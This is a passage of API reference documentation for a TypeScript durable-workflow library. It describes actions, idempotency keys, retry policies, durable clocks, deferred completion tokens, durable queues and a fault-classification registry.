| `Declared`           | Interface       | A named action declaration whose implementation attaches later through a layer. It carries `name`, `payloadSchema`, `successSchema`, `errorSchema`, `tier`, `idempotencyKey`, `nondeterministic`, `annotations`, and `requirement`, and exposes `call`, `toLayer`, `annotate`, and `annotateMerge`. |
| `Action`             | Interface       | An inline durable action that is itself an `Effect`. It carries `name`, `successSchema`, `errorSchema`, `exitSchema`, `exitSchemaPartial`, `annotations`, `tier`, `idempotencyKey`, `nondeterministic`, `metadata`, and `retryPolicy`.                                                              |
| `Any`                | Interface       | Type-erased action shape carrying only identity, name, annotations, and encoded execution.                                                                                                                                                                                                          |
| `AnyWithProps`       | Interface       | Type-erased action shape that also exposes success and error schemas.                                                                                                                                                                                                                               |
| `BoundaryMode`       | Schema and type | How strictly an action's filesystem boundary is enforced: `"hard"` or `"expected"`. It IS `@smthrs/plan`'s `FileSet.BoundaryMode`.                                                                                                                                                                  |
| `CacheEnvironment`   | Schema and type | The complete runtime environment included in every cross-run cache key: `layers` and `capabilities`.                                                                                                                                                                                                |
| `CacheScope`         | Schema and type | How far a recorded sealed result may travel: `"run"`, `"flow"`, or `"shared"`.                                                                                                                                                                                                                      |
| `CachePolicy`        | Schema and type | The caller's declaration about the decay and the reach of a sealed action's recorded result.                                                                                                                                                                                                        |
| `FileBoundary`       | Schema and type | The filesystem boundary of an action: `readSet`, `writeSet`, optional `removes`, and `boundaryMode`.                                                                                                                                                                                                |
| `FileInput`          | Schema and type | An input file path paired with its measured content digest.                                                                                                                                                                                                                                         |
| `Implementation`     | Interface       | One declared action's implementation as a driver consumes it: a name, and the durable action a payload produces.                                                                                                                                                                                    |
| `AllocationIdentity` | Interface       | The declaration material an allocation scope is derived from: `kind`, `name`, optional `idempotency`, and optional `site`.                                                                                                                                                                          |

### `Action.CachePolicyAnnotation`

- **Type:** `Context.Service<CachePolicy>`
- **Since:** `0.1.0`
- **Related:** [`Action.withCache`](#actionwithcache)

The annotation key a declaration carries its `CachePolicy` under. The policy is an annotation rather than a field on the action, so adding it changes no existing call site. Its identifier is `"@smthrs/flow/Action/CachePolicy"`.

### `Action.cachePolicyOf`

- **Signature:** `cachePolicyOf(annotations: Context.Context<never>): CachePolicy | undefined`
- **Since:** `0.1.0`

Reads the cache policy an annotation bag carries. Returns `undefined` when the bag carries none.

### `Action.withCache`

- **Signature:** `withCache<A extends { annotate: (key: typeof CachePolicyAnnotation, value: CachePolicy) => A }>(action: A, policy: CachePolicy): A`
- **Since:** `0.1.0`

Returns a copy of the action annotated with a cache policy. The action is not mutated: `annotate` returns a separate declaration, and that copy is what a plan captures. `ttlMs` bounds the age of a row the engine may serve, and `scope` narrows the address the row is stored under.

### `Action.CurrentCacheEnvironment`

- **Type:** `Context.Reference<CacheEnvironment | undefined>`
- **Default:** `undefined`
- **Since:** `0.1.0`

The complete environment folded into reusable action keys. A composition either provides a complete `CacheEnvironment` or leaves it absent. When it is absent the engine scopes action keys to the current run instead of presenting incomplete environment data as reusable identity.

### `Action.layerCacheEnvironment`

- **Signature:** `layerCacheEnvironment(environment: CacheEnvironment): Layer.Layer<never>`
- **Since:** `0.1.0`

Declares the complete cache environment of a composition as a layer.

### `Action.OrdinalSlot`

- **Type:** `interface OrdinalSlot { readonly values: Map<string, Array<number>>; readonly cursors: Map<string, number> }`
- **Since:** `0.1.0`

The ordinal slots a retry sequence shares across its attempts, keyed by allocation scope. A nested block shares the pinned `values` with the enclosing block and owns a private `cursors` view seeded at block entry.

### `Action.CurrentOrdinal`

- **Type:** `Context.Reference<OrdinalSlot | undefined>`
- **Default:** `undefined`
- **Since:** `0.1.0`

The ordinal slot of the enclosing `Action.retry` sequence, when one is present.

### `Action.CurrentAttempt`

- **Type:** `Context.Reference<number>`
- **Default:** `1`
- **Since:** `0.1.0`

The current durable retry attempt, counted from one.

### `Action.CurrentInvocationKey`

- **Type:** `Context.Reference<string | undefined>`
- **Default:** `undefined`
- **Since:** `0.1.0`

The persisted key of the dispatch an implementation is running under, when the runtime supplies one.

### `Action.Fence`

- **Type:** `interface { runId: string; stepKeyDigest: string; attempt: number; owner: { hostId: string; pid: number; nonce: string } }`
- **Since:** `1.0.0`

The ownership fence of one running attempt: the attempt row and the engine incarnation that holds its run. The owner changes when another incarnation adopts a crashed attempt, and the attempt changes when a failed attempt is retried.

### `Action.CurrentFence`

- **Type:** `Context.Reference<Fence | undefined>`
- **Default:** `undefined`
- **Since:** `1.0.0`

The fence of the attempt an implementation is running under, when the runtime supplies one. A durable engine supplies it; `@smthrs/run-store`'s `RunStore.owned` turns it into a condition for the implementation's own SQL write.

### `Action.CurrentRedispatch`

- **Type:** `Context.Reference<boolean>`
- **Default:** `false`
- **Since:** `1.0.0`

`true` while an implementation runs an attempt an earlier execution started and never settled: its process died or was cut off mid-body, or the body parked on a durable wait and the run resumed. A durable engine re-runs such an attempt under its original number. An implementation that cannot repeat its effect silently, such as a paid provider call, reads it to count or reconcile the repeat.

### `Action.Keyed`

- **Type:** `interface Keyed<A, E = never, R = never> { readonly find: (key: string) => Effect.Effect<Option.Option<A>, E, R>; readonly perform: (key: string) => Effect.Effect<A, E, R> }`
- **Since:** `1.0.0`

A write to another service that carries its key and can be found by it. `perform` makes the object and puts the key on it in the same request: a commit trailer, a hidden body marker, a name suffix or the provider's idempotency key. `find` answers the object the key made, matching the key (and the acting account where the provider shows one), never a title, a message, a time window or a name alone. It answers `None` only after a complete search and fails when it cannot tell. `Action.keyed(effect)` builds one and infers its types.

### `Action.effectKey`

- **Signature:** `effectKey(name: string): Effect.Effect<string>`
- **Since:** `1.0.0`

The key of write `name` in the running dispatch: 64 lowercase hex of SHA-256 over `smithers/effect/v1`, the execution id, `Action.CurrentInvocationKey` and `name`, one per line. Every run of one dispatch derives the same key: its attempts, an adopted attempt and a resume. Another dispatch, execution or name derives another. Nothing from the payload or the clock enters it. Outside a dispatch it dies with `Action.EffectKeyUnavailable`.

### `Action.once`

- **Signature:** `once<A, E, R>(name: string, effect: Keyed<A, E, R>, options?: { readonly key?: string }): Effect.Effect<A, E, R>`
- **Since:** `1.0.0`

Finds write `name`'s object, or makes it once. It calls `find(key)` and adopts what it answers; on `None` it calls `perform(key)`; when `perform` fails it calls `find(key)` again and adopts what landed, else fails with `perform`'s failure. A failing first `find` fails without writing. Each write runs in a span `Action.once` with `smithers.effect.name` and `smithers.effect.outcome`, and counts in `flows_effects` by outcome (`performed`, `adopted`, `adopted_after_failure`, `failed`); the key is never logged. Name each write of one step differently. `options.key` replaces the derived key when the write's identity was chosen and recorded before the step ran, such as a write id stored with the request that started the execution; `once` then needs no dispatch. Never derive it from what is written.

### `Action.EffectKeyUnavailable`

- **Type:** `Schema.TaggedError` with fields `name: string` and `message: string`
- **Since:** `1.0.0`

The defect `Action.once` and `Action.effectKey` die with outside a flow dispatch, where no `FlowInstance` or `Action.CurrentInvocationKey` is supplied.

### `Action.DuplicateImplementation`

- **Type:** `Schema.TaggedError` with field `name: string`
- **Since:** `0.1.0`

The defect layer construction dies with when a second, different implementation registers for an action tag without `{ override: true }`.

### `Action.InfraInterrupt`

- **Type:** `Schema.TaggedError` with fields `code: "infra_interrupt"` and `reason?: unknown`
- **Since:** `0.1.0`

The marker an action implementation or adapter explicitly fails with for an infrastructure event it wants retried under the action's `interruptRetryPolicy`. The shipped engines do not synthesize it from ordinary fiber interruption.

### `Action.InfraInterruptRetriesExhausted`

- **Type:** `Schema.TaggedError` with fields `code: "infra_interrupt_retries_exhausted"`, `actionName: string`, `attempts: number`, `interrupt: InfraInterrupt`, and `message: string`
- **Since:** `0.1.0`

The identity an action dies with after spending its `interruptRetryPolicy` without reaching an ordinary success or failure.

### `Action.IrreversibleRetryRequiresIdempotencyKey`

- **Type:** `Schema.TaggedError` with fields `code: "irreversible_retry_requires_idempotency_key"`, `actionName: string`, and `attempt: number`
- **Since:** `0.1.0`

An irreversible action attempted a retry without declaring an idempotency key.

### `Action.ConcurrentKeylessDispatch`

- **Type:** `Schema.TaggedError` with fields `code: "concurrent_keyless_dispatch"` and `actionName: string`
- **Since:** `0.1.0`

Two ordinal-keyed invocations of one allocation scope were in flight at once, so fiber arrival order would assign their ordinals, step keys, attempt rows, and recorded outcomes. Declare an `idempotencyKey` that distinguishes the invocations to dispatch them concurrently. A sealed action with a key takes a pure cache key and is exempt.

### `Action.UncanonicalIdempotencyKey`

- **Type:** `Schema.TaggedError` with fields `code: "uncanonical_idempotency_key"`, `actionName: string`, `reason: string`, `path: string`, and `message: string`
- **Since:** `0.1.0`

A caller-declared object-form `idempotencyKey` carried material that canonical serialization rejects. The failure is not retryable: the same declaration derives the same rejection on every attempt, so the body never runs.

### `Action.Filegroup`

- **Type:** namespace re-exporting `Filegroup` (a `Schema.TaggedStruct` of `name` and `entries`), the type alias `Type`, and `make`
- **Since:** `0.1.0`

Named reusable filesystem declaration groups. `Action.Filegroup.make` creates one.

### `Action.Glob`

- **Type:** namespace re-exporting `Glob`, `Pattern`, `matchesGlob`, `matchesPattern`, and the type alias `Type`
- **Since:** `0.1.0`

The Bazel-style file glob vocabulary. `Glob` is a `Schema.TaggedStruct` of `include` and optional `exclude` patterns.

### `Action.idempotencyKey`

- **Signature:** `idempotencyKey(name: string, options?: { readonly includeAttempt?: boolean | undefined; readonly parentScope?: string | undefined }): Effect.Effect<string, never, FlowInstance | Crypto.Crypto>`
- **Since:** `0.1.0`

Computes the run-local invocation key of an internal durable operation. The key is scoped by the caller's declaration name and declared `parentScope`.

### `Action.Implementations`

- **Type:** `Context.Service` keyed `"@smthrs/flow/Action/Implementations"`
- **Since:** `0.1.0`
- **Related:** [`Action.layerImplementations`](#actionlayerimplementations)

The table holding the declared action implementations a composition wired up, keyed by action tag. A second, different implementation of one tag dies with `Action.DuplicateImplementation` unless it registers with `toLayer(handler, { override: true })`. An override shadows the earlier registration, and closing the overriding scope restores it. Registering the same implementation object again is not a conflict.

### `Action.layerImplementations`

- **Type:** `Layer.Layer<Implementations>`
- **Since:** `0.1.0`

The implementation table, scoped to the composition that builds it. Filing an implementation is a build-time effect, so provide this layer under the implementation layers with `Layer.provideMerge` rather than merging it beside them.

### `Action.make`

- **Signature:** `make(tag: Tag, options: { payload, declaredFrom?, implementationVersion?, success?, error?, tier?, idempotencyKey?, nondeterministic?, retryPolicy?, interruptRetryPolicy?, fileBoundary?, annotations? }): Declared<Tag, Payload, Success, Error>`
- **Signature:** `make(options: { name, success?, error?, execute, tier?, idempotencyKey?, nondeterministic?, metadata?, interruptRetryPolicy?, retryPolicy?, annotations? }): Action<Success, Error, R>`
- **Since:** `0.1.0`
- **Related:** [`Action.makeSystem`](#actionmakesystem)

Creates either a named action declaration or an inline executable action, selected by whether the first argument is a string. The declared form is pure data whose implementation attaches later through `Declared.toLayer`. The inline form carries its `execute` effect directly.

The declared form accepts `declaredFrom: original` to retain a native declaration's
diagnostic source location, including its absence. The new action owns its call
closures; this option changes neither dispatch identity nor key material.

| Option                  | Forms    | Meaning                                                                         |
| ----------------------- | -------- | ------------------------------------------------------------------------------- |
| `payload`               | declared | Payload fields or struct schema, validated on every dispatch.                   |
| `name`, `execute`       | inline   | The step name and the effect it runs.                                           |
| `implementationVersion` | declared | Non-empty version string; `toLayer` must pass the same value.                   |
| `success`, `error`      | both     | Result schemas. Default `Schema.Void` and `Schema.Never`.                       |
| `tier`                  | both     | Durability tier. Default `"sealed"`.                                            |
| `idempotencyKey`        | both     | Caller identity. The declared form may compute it from the decoded payload.     |
| `nondeterministic`      | both     | Marks a result that replay must read from the record rather than recompute.     |
| `retryPolicy`           | both     | The `RetryPolicy` the engine reads at dispatch.                                 |
| `interruptRetryPolicy`  | both     | The `Schedule` spent on `Action.InfraInterrupt` failures.                       |
| `fileBoundary`          | both     | Typed file boundary. The declared form may compute it from the decoded payload. |
| `metadata`              | inline   | Free-form metadata; a historical boundary declaration is still read from it.    |
| `annotations`           | both     | Context annotations carried by the action.                                      |

`Declared.toLayer(handler, { implementationVersion?, override? })` registers the implementation. Without `override: true`, a second, different implementation of the tag dies with `Action.DuplicateImplementation`.

### `Action.makeSystem`

- **Signature:** `makeSystem(tag: Tag, options: { payload, declaredFrom?, implementationVersion?, success?, error?, tier?, idempotencyKey?, nondeterministic?, retryPolicy?, interruptRetryPolicy?, fileBoundary?, annotations? }): Declared<Tag, Payload, Success, Error, never>`
- **Since:** `0.1.0`

Declares a system action, one whose implementation ships with the engine rather than with the composition that calls it. It matches `Action.make`'s declared form in every respect except the requirement: a system declaration mints none, so a body using `Sleep` or `WaitFor` pushes no layer obligation onto its callers.

### `Action.raceAll`

- **Signature:** `raceAll(name: string, actions: Actions): Effect.Effect<...>`
- **Since:** `0.1.0`

Runs a non-empty collection of actions as a durable race and returns the first success, under the unioned success and error schemas. A losing failure is ignored while another action runs; the race fails only when every action fails. To settle on the first exit, success or failure, race `Effect.exit` of each action and unwrap the winner. One winner is persisted under `name`, so a re-driven round replays it instead of racing again. The race requires every action's services, including `Crypto`, plus the decoding and encoding services of each action's success and error schemas.

### `Action.retry`

- **Signature:** `retry(self: Effect.Effect<A, E, R>, options: O): Effect.Retry.Return<R, E, A, O>`
- **Since:** `0.1.0`

Retries an effect with `Effect.retry` while updating `CurrentAttempt` on each attempt. The `schedule` option of `Effect.Retry.Options` is omitted. Every attempt of one sequence reuses its own action's ordinals, and a nested block shares the enclosing block's pinned slot.

### `Action.DispatchSite`

- **Type:** `Context.Service<DispatchSite, string>` keyed `"@smthrs/flow/Action/DispatchSite"`
- **Since:** `0.1.0`

The interpreter graph site the running dispatch is scoped to. Distinct graph sites refine the allocation scope, so they do not contend for one ordinal counter.

### `Action.DispatchOutcome`

- **Type:** `interface DispatchOutcome { readonly outcome: "executed" | "replayed"; readonly stepKeyDigest?: string | undefined; readonly attempt?: number | undefined }`
- **Since:** `1.0.0`

What one dispatch tells the node that drove it. `outcome` says whether the body ran or a durable record answered. `stepKeyDigest` is the identity the rest of the engine addresses that dispatch by, the digest `flows.engine.attempt-started` carries, and `attempt` is the durable attempt it ran as. Both are optional, because a runtime that keeps no attempt rows has neither.

### `Action.DispatchReport`

- **Type:** `Context.Service<DispatchReport, { readonly dispatched: (dispatch: DispatchOutcome) => Effect.Effect<void> }>` keyed `"@smthrs/flow/Action/DispatchReport"`
- **Since:** `1.0.0`

Where the dispatches of one interpreter node report what happened to them. The interpreter installs one per node and reads the report back when the node settles: it is how a replayed node is told apart from one that did the work again, how a node names the step keys its attempt records were written under, and how a node's real attempt count reaches its settlement. Absent by default: a dispatch outside an interpreted graph reports to nobody, and reporting stays a side channel rather than a change to what `actionExecute` returns.

### `Action.reportDispatch`

- **Signature:** `reportDispatch(dispatch: DispatchOutcome): Effect.Effect<void>`
- **Since:** `1.0.0`

Reports one dispatch to the node that drove it, and does nothing where no node did.

### `Action.allocationScope`

- **Signature:** `allocationScope(identity: AllocationIdentity): Effect.Effect<string, Schema.SchemaError, Crypto.Crypto>`
- **Since:** `0.1.0`

Derives the ordinal allocation scope of a durable operation from its declaration material.

### `Action.invocationKey`

- **Signature:** `invocationKey(input: { readonly runId: string; readonly parentScope?: string | undefined; readonly ordinal: number; readonly tier: "unsealed" | "compensable" | "irreversible" }): Effect.Effect<StoredKey, Schema.SchemaError, Crypto.Crypto>`
- **Since:** `0.1.0`

Derives an invocation key from engine-generated input.

### `Action.TreeArtifact`

- **Type:** namespace re-exporting `TreeArtifact` (a `Schema.TaggedStruct` of `path`) and the type alias `Type`
- **Since:** `0.1.0`

A directory output captured and replayed as one tree artifact.

## Deadline

### `Deadline.start`

- **Signature:** `start(options: { readonly flowName: string; readonly deadline?: Duration.Input | undefined; readonly startedAtMs?: number | undefined }): Effect.Effect<LineageDeadline | undefined, never, FlowRuntime | FlowInstance | Crypto.Crypto>`
- **Since:** `1.0.0`

Starts the current execution's deadline: the lineage deadline the round inherited from a handoff, or `deadline` counted from the execution's journaled first start (or from `startedAtMs`, when the host holds a durable start of its own), with a durable clock armed at it. Answers `undefined` when neither applies. Dies with a `RangeError` when `deadline` is not a positive finite duration, `startedAtMs` is not finite, or the deadline would expire after epoch millisecond `Number.MAX_SAFE_INTEGER`. Start at most one deadline per execution.

### `Deadline.remainingMs`

- **Signature:** `remainingMs(deadline: LineageDeadline): Effect.Effect<number>`
- **Since:** `1.0.0`

The whole milliseconds left before the deadline passes; zero or less once it has.

### `Deadline.within`

- **Signature:** `within(deadline: LineageDeadline | undefined, flowName: string): <A, E, R>(body: Effect.Effect<A, E, R>) => Effect.Effect<A, E, R | FlowInstance>`
- **Since:** `1.0.0`

Races `body` against a started deadline and settles it with `Flow.DeadlineExceeded` at the deadline, at once when it has already passed. A round that hands off stamps the deadline on its `Flow.Handoff`. `undefined` runs `body` unbounded.

### `Deadline.bound`

- **Signature:** `bound(options: { readonly flowName: string; readonly deadline?: Duration.Input | undefined; readonly startedAtMs?: number | undefined }): <A, E, R>(body: Effect.Effect<A, E, R>) => Effect.Effect<A, E, R | FlowRuntime | FlowInstance | Crypto.Crypto>`
- **Since:** `1.0.0`

`start`, then `within`. The engine applies it to every execution of a flow that declares `deadline`.

## DurableClock

### `DurableClock.DurableClock`

- **Type:** `interface DurableClock { readonly name: string; readonly duration: Duration.Duration; readonly deferred: DurableDeferred.DurableDeferred<typeof Schema.Void> }`
- **Since:** `0.1.0`

A durable flow timer: a name, a duration, and the deferred that is completed when the timer wakes. The interface also carries a private type identifier.

### `DurableClock.make`

- **Signature:** `make(options: { readonly name: string; readonly duration: Duration.Input }): DurableClock`
- **Since:** `0.1.0`

Declares one durable clock. Throws a `RangeError` when the duration is malformed, infinite, negative, or longer than `Number.MAX_SAFE_INTEGER` milliseconds: a durable store records a clock's due time as a safe integer.

### `DurableClock.sleep`

- **Signature:** `sleep(options: { readonly name: string; readonly duration: Duration.Input; readonly inMemoryThreshold?: Duration.Input | undefined }): Effect.Effect<void, never, Crypto.Crypto | FlowRuntime | FlowInstance>`
- **Default:** `inMemoryThreshold` is 60 seconds
- **Since:** `0.1.0`

Waits inside a flow. A duration at or below `inMemoryThreshold` runs as an in-memory action. A longer duration schedules a durable clock, so the wait outlives the process holding it. Throws a `RangeError` for a duration `make` refuses or a malformed, infinite, or negative threshold. A durable sleep that would wake after epoch millisecond `Number.MAX_SAFE_INTEGER` dies with a `RangeError` instead of arming its clock.

## DurableDeferred

### `DurableDeferred.DurableDeferred`

- **Type:** `interface DurableDeferred<Success extends Schema.Constraint, Error extends Schema.Constraint = Schema.Never>` with `name`, `successSchema`, `errorSchema`, `exitSchema`, and `withActionAttempt`
- **Since:** `0.1.0`

A named durable deferred whose completion the flow engine persists, encoded through its success and error schemas.

### `DurableDeferred.Any`

- **Type:** `interface Any { readonly name: string }`
- **Since:** `0.1.0`

The type-erased deferred shape for APIs that need only the identity and the name. It also carries the private type identifier.

### `DurableDeferred.AnyWithProps`

- **Type:** `interface AnyWithProps` with `name`, `successSchema`, `errorSchema`, and `exitSchema`
- **Since:** `0.1.0`

The type-erased deferred shape that also exposes the schemas.

### `DurableDeferred.make`

- **Signature:** `make(name: string, options?: { readonly success?: Success | undefined; readonly error?: Error | undefined }): DurableDeferred<Success, Error>`
- **Default:** `success` is `Schema.Void`, `error` is `Schema.Never`
- **Since:** `0.1.0`

Creates a named durable deferred for a persisted completion.

### `DurableDeferred.await`

- **Signature:** `await(self: DurableDeferred<Success, Error>): Effect.Effect<Success["Type"], Error["Type"], FlowRuntime | FlowInstance | Success["DecodingServices"] | Error["DecodingServices"]>`
- **Since:** `0.1.0`

Waits for the durable deferred, suspending the current flow when no persisted completion is available. The first recorded exit is the one every later read replays.

### `DurableDeferred.into`

- **Signature:** `into(effect: Effect.Effect<Success["Type"], Error["Type"], R>, self: DurableDeferred<Success, Error>): Effect.Effect<Success["Type"], Error["Type"], R | FlowRuntime | FlowInstance | Success["DecodingServices"] | Success["EncodingServices"] | Error["DecodingServices"] | Error["EncodingServices"]>`
- **Since:** `0.1.0`

Runs an effect and records its exit into the durable deferred, resuming the flows waiting on that deferred. The data-last form takes the deferred alone.

An interrupt-only exit records nothing. Mixed causes record only their non-interrupt reasons. The effect uses the current flow instance: nested durable waits can suspend, and suspension causes, waiting annotations, and handoffs remain visible to the enclosing flow.

### `DurableDeferred.raceAll`

- **Signature:** `raceAll(options: { name: string; success: Success; error: Error; effects: Effects }): Effect.Effect<...>`
- **Since:** `0.1.0`

Runs effects as a durable race. A previously persisted result is returned unchanged. Otherwise the first success completes the deferred named `raceAll/<name>`, and the race fails only when every effect fails, so a re-driven round reads the recorded winner instead of racing again.

### `DurableDeferred.TokenTypeId`

- **Type:** `"@smthrs/flow/DurableDeferred/Token"`, exported as both a constant and a type
- **Since:** `0.1.0`

The brand identifier that distinguishes a completion token from an ordinary string.

### `DurableDeferred.Token`

- **Type:** `Brand.Branded<string, TokenTypeId>` as a type, and `Schema.brand<Schema.String, TokenTypeId>` as a schema
- **Since:** `0.1.0`

A branded string identifying one durable deferred of one flow execution.

A token is an address, not a credential. It is unsigned base64url JSON of the flow name, execution id, and deferred name, and `tokenFromExecutionId` and `tokenFromPayload` rebuild it from those values. Anyone who can call a completion entry point (`done`, `succeed`, `fail`, `failCause`, `HumanTask.answer`) against the run's `FlowRuntime` can complete an open wait whose address they know or derive. A host that exposes completion to other parties must authorize the caller first.

### `DurableDeferred.TokenInvalid`

- **Type:** `Schema.TaggedError` with fields `code: "malformed_token" | "deferred_mismatch"` and `message: string`
- **Default:** `code` defaults to `"malformed_token"`
- **Since:** `0.1.0`

The typed failure every completion surface returns for a token that does not parse, or that names a different deferred than the one it was submitted through.

### `DurableDeferred.TokenParsed`

- **Type:** `Schema.Class` with fields `flowName: string`, `executionId: string`, and `deferredName: string`
- **Since:** `0.1.0`

A decoded token. The three fields are the durable address a completion is written to.

### `DurableDeferred.token`

- **Signature:** `token(self: DurableDeferred<Success, Error>): Effect.Effect<Token, never, FlowInstance>`
- **Since:** `0.1.0`

Creates a token for a deferred using the running flow's own name and execution id.

### `DurableDeferred.tokenFromExecutionId`

- **Signature:** `tokenFromExecutionId(self: DurableDeferred<Success, Error>, options: { readonly flow: Flow.Any; readonly executionId: string }): Token`
- **Since:** `0.1.0`

Creates a token from an explicit flow and execution id, for a resolver outside the run.

### `DurableDeferred.tokenFromPayload`

- **Signature:** `tokenFromPayload(self: DurableDeferred<Success, Error>, options: { readonly flow: W; readonly payload: Flow.PayloadSchema<W>["~type.make.in"] }): Effect.Effect<Token, never, Crypto.Crypto | Flow.PayloadSchema<W>["EncodingServices"]>`
- **Since:** `0.1.0`

Creates a token by deriving the execution id from the flow payload. Declare an `idempotencyKey` or install the opt-in derived source for stable payload identity. The default fresh source mints a new id on each call; use `tokenFromExecutionId` with a saved id to address an existing execution.

### `DurableDeferred.done`

- **Signature:** `done(self: DurableDeferred<Success, Error>, options: { readonly token: Token; readonly exit: Exit.Exit<Success["Type"], Error["Type"]> }): Effect.Effect<void, TokenInvalid, FlowRuntime | Success["EncodingServices"] | Error["EncodingServices"]>`
- **Since:** `0.1.0`

Completes the deferred a token addresses with an exit, encoded through the deferred's schemas. A token whose `deferredName` is not this deferred's name fails with `TokenInvalid`. The token is not a credential: authorize the caller before completing a wait on its behalf.

### `DurableDeferred.succeed`

- **Signature:** `succeed(self: DurableDeferred<Success, Error>, options: { readonly token: Token; readonly value: Success["Type"] }): Effect.Effect<void, TokenInvalid, FlowRuntime | Success["EncodingServices"]>`
- **Since:** `0.1.0`

Completes the deferred with a successful value.

### `DurableDeferred.fail`

- **Signature:** `fail(self: DurableDeferred<Success, Error>, options: { readonly token: Token; readonly error: Error["Type"] }): Effect.Effect<void, TokenInvalid, FlowRuntime | Error["EncodingServices"]>`
- **Since:** `0.1.0`

Completes the deferred with a typed failure.

### `DurableDeferred.failCause`

- **Signature:** `failCause(self: DurableDeferred<Success, Error>, options: { readonly token: Token; readonly cause: Cause.Cause<Error["Type"]> }): Effect.Effect<void, TokenInvalid, FlowRuntime | Error["EncodingServices"]>`
- **Since:** `0.1.0`

Completes the deferred with a failure cause.

## DurableQueue

### `DurableQueue.TypeId`

- **Type:** `"@smthrs/flow/DurableQueue"`, exported as both a constant and a type
- **Since:** `0.1.0`

The identifier attached to `DurableQueue` values.

### `DurableQueue.DurableQueue`

- **Type:** `interface DurableQueue<Payload extends Schema.Top, Success extends Schema.Top = Schema.Void, Error extends Schema.Top = Schema.Never>` with `name`, `payloadSchema`, `idempotencyKey`, and `deferred`
- **Since:** `0.1.0`

A durable queue definition: the payload schema, the key that identifies one item, and the deferred a caller awaits the worker's result on.

### `DurableQueue.make`

- **Signature:** `make(options: { readonly name: string; readonly payload: Payload; readonly idempotencyKey: (payload) => string; readonly success?: Success | undefined; readonly error?: Error | undefined }): DurableQueue<...>`
- **Default:** `success` is `Schema.Void`, `error` is `Schema.Never`
- **Since:** `0.1.0`

Creates a durable queue that waits for persisted items to finish processing through a `DurableDeferred`.

### `DurableQueue.process`

- **Signature:** `process(self: DurableQueue<Payload, Success, Error>, payload: Payload["~type.make.in"], options?: { readonly retrySchedule?: Schedule.Schedule<any, PersistedQueue.PersistedQueueError> | undefined }): Effect.Effect<Success["Type"], Error["Type"], FlowRuntime | FlowInstance | Crypto.Crypto | PersistedQueue.PersistedQueueFactory | Payload["EncodingServices"] | Payload["DecodingServices"] | Success["DecodingServices"] | Error["DecodingServices"]>`
- **Default:** `retrySchedule` is unbounded, with exponential delays capped at one minute
- **Since:** `0.1.0`

Offers a payload to the queue under the name `DurableQueue/<name>`, attaches a token, and suspends until a worker records the handler's exit against it. A caller-supplied schedule may exhaust, and its final offer failure becomes a defect so the error channel stays the worker's declared error. A payload that fails the queue's schema is also a defect.

### `DurableQueue.makeWorker`

- **Signature:** `makeWorker(self: DurableQueue<Payload, Success, Error>, f: (payload: Payload["Type"]) => Effect.Effect<Success["Type"], Error["Type"], R>, options?: { readonly concurrency?: number | undefined }): Effect.Effect<never, never, ...>`
- **Default:** `concurrency` is `1`
- **Since:** `0.1.0`

Creates the worker effect that processes items from the queue. It throws a `RangeError` when `concurrency` is not a positive safe integer.

Each item runs as a durable execution named by the deferred it completes, `DurableQueue/<name>/item`: a `handle` step runs the handler and records its exit, then a `complete` step records that exit against the caller's deferred under `DurableQueue.completionRetryPolicy`, which never gives up. A completion the store refuses is retried on its own and never runs the handler again; the caller always receives the handler's exit once the store records it. Until the handler's exit is recorded, a crash runs the handler again. The persisted queue never drops an item: a delivery whose execution could not start is redelivered on the queue's own schedule, and each delivery attaches to the same execution.

### `DurableQueue.CompletionUnavailable`

- **Type:** `Schema.TaggedError` with field `queue: string`
- **Since:** `1.0.0`

The `complete` step's failure when the store refused to record a handler's exit. Its fault class is `infra`, and the step retries it.

### `DurableQueue.completionRetryPolicy`

- **Type:** `RetryPolicy.RetryPolicy`
- **Since:** `1.0.0`

How the `complete` step retries: from 500 ms, growing by half, to a minute between tries, without a limit.

### `DurableQueue.worker`

- **Signature:** `worker(self: DurableQueue<Payload, Success, Error>, f: (payload: Payload["Type"]) => Effect.Effect<Success["Type"], Error["Type"], R>, options?: { readonly concurrency?: number | undefined }): Layer.Layer<never, never, ...>`
- **Default:** `concurrency` is `1`
- **Since:** `0.1.0`

The layer form of `DurableQueue.makeWorker`, forking the worker into the layer's scope.

## Fault

One typed fault for every failure. The owner of an error union registers each code with a class, so a failure crosses every seam as `{ class, tag }` instead of prose.

### `Fault.Class`

- **Type:** `Schema.Literals<["user", "wait", "infra", "dependency", "bug", "factory", "policy"]>`
- **Since:** `1.0.0`

`user`, `wait`, `infra`, `dependency`, and `bug` are the wire registry. `factory` means the factory's own work did not converge, so a replan may fix it. `policy` means a cap stopped the work.

### `Fault.Fault`

- **Type:** `Schema.Struct<{ class: Class; tag: Schema.String }>`
- **Since:** `1.0.0`

`tag` is `<_tag>/<code>`, or `<_tag>` for an error without a code.

### `Fault.register`

- **Signature:** `register<Code extends string>(tag: string, table: Class | Rows<Code>, field?: string): void`
- **Since:** `1.0.0`

Registers one class for the whole tag, or one per value of `field` (default `code`). Owners write `satisfies Fault.Rows<Code>`, so a new code without a class does not compile. A value the table does not name is `bug`. The registry is one per process, shared by the ESM and CommonJS builds. Registering a tag again with the same rows is a no-op; registering it with different rows throws.

### `Fault.of`

- **Signature:** `of(error: unknown): Fault`
- **Since:** `1.0.0`

Reads the error and up to 15 `cause` links beneath it and answers the innermost registered tag, because a wrapper names where a failure surfaced and its cause names why. Anything unregistered is `{ class: "bug", tag: "unregistered" }`.

### `Fault.retryTransient`

- **Signature:** `retryTransient(effect, { name, idempotencyKey, success, error, implementationVersion?, tier? }): Action`

Dispatches the effect as a keyed, schema-encoded action. The engine retries
infrastructure failures with its default `RetryPolicy.transient`: 5 seconds
doubling to 5 minutes, expiring after 2 hours. A durable runtime records attempts
and backoff; a volatile runtime supports only in-process replay. Run inside a
flow implementation with its runtime and crypto services. The final typed error
is preserved; defects and interruption are not retried. The former one-argument
helper requires migration to the action options.

The default sealed tier reuses keyed work. Pass `tier: "irreversible"` for
commands that need distinct invocation identities while remaining retryable.

### `Fault.respond`

- **Signature:** `respond(fault: Fault, state: State): Response`
- **Since:** `1.0.0`

The one response ladder, exhaustive over the classes. `wait` backs up, then parks while `parksLeft` allows, then stops. `dependency` backs up, then retries until the third attempt, then stops. `infra` retries until the third attempt, then parks. `factory` replans twice, continues once as `very_hard`, then asks for `help`. A declined request (`coding/Error/declined`) closes, any other `user` fault asks for `help`, and `policy` and `bug` stop.

### `Fault.registered`

- **Signature:** `registered(): ReadonlySet<string>`
- **Since:** `1.0.0`

Every registered tag. The sweep tests read it.

## Flow

`Flow` models and schemas are listed in one table, and constructors, refinements, results, resource management, annotations, and errors get their own entries:

| Name                  | Kind                 | Summary                                                                                                                                                                                                                                                                                                                                                      |
